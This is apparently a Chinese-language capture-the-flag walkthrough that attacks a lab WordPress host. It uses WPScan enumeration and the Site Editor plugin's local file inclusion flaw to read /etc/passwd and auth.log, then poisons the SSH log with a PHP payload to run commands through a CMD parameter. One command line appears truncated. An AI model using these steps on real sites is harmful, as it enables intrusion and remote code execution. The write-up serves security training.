WPScan 是一個針對 WordPress 網站的安全掃描工具,用於識別和檢測 WordPress 網站中的漏洞、弱點以及可能的安全問題。這個工具是針對 WordPress 安全性測試和漏洞分析的專用工具,主要功能包括,漏洞掃描、密碼破解、目錄和文件探測、漏洞報告、版本識別等。
以下提供一個攻擊範例:
首先可以使用 Nmap 或 Gobuster 等工具掃描,可以發現這個主機有架設 WordPress 站台,這時就可以用 WPScan 掃一下。
wpscan --help
可看一下用法
掃描 WordPress 用戶名和所裝的套件。wpscan --url http://172.16.20.6 -e ap
(指定掃plugings 出來)--url
:指定要掃描的 WordPress 網站的 URL。a
:列舉 WordPress 的用戶名。p
:列舉 WordPress 網站上的所裝的套件。
發現有這個 site-editor 套件漏洞可以使用。
Google 一下!
https://www.exploit-db.com/exploits/44340
發現這隻漏洞可以拿來看密碼檔。
試試看靶機,真的有這個漏洞。http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
有本地端讀取的漏洞。
檢視原始檔,有斷行,較好閱讀。
所以我們可以用這支來看檔案的內容。
改讀取 /var/log/auth.log
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log
發現可以讀取登入紀錄。
測試執行 ssh jason@<host>
重整讀取登入紀錄的那頁http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log
可以看到我們剛剛登入的紀錄。
由於他是 php 的網頁,讀取檔案顯示內容
如果我們將登入的帳號,改成php可以執行的語法,看看有沒有效果
測試執行 ssh '<?php phpinfo(); ?>'@172.16.20.6
重整這頁,果真可以看到 php版本訊息,表示我們可以利用這個漏洞,讓他執行我們想要執行的語法。http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log
利用參數帶入我們想要執行的語法。
測試執行 ssh ''@
透過CMD 參數,根據題目要我們尋找檔案 secret.txt 的指令,找到了檔案了!http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&CMD=find / -name flag.txt
參考:
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion - PHP webapps Exploit (exploit-db.com)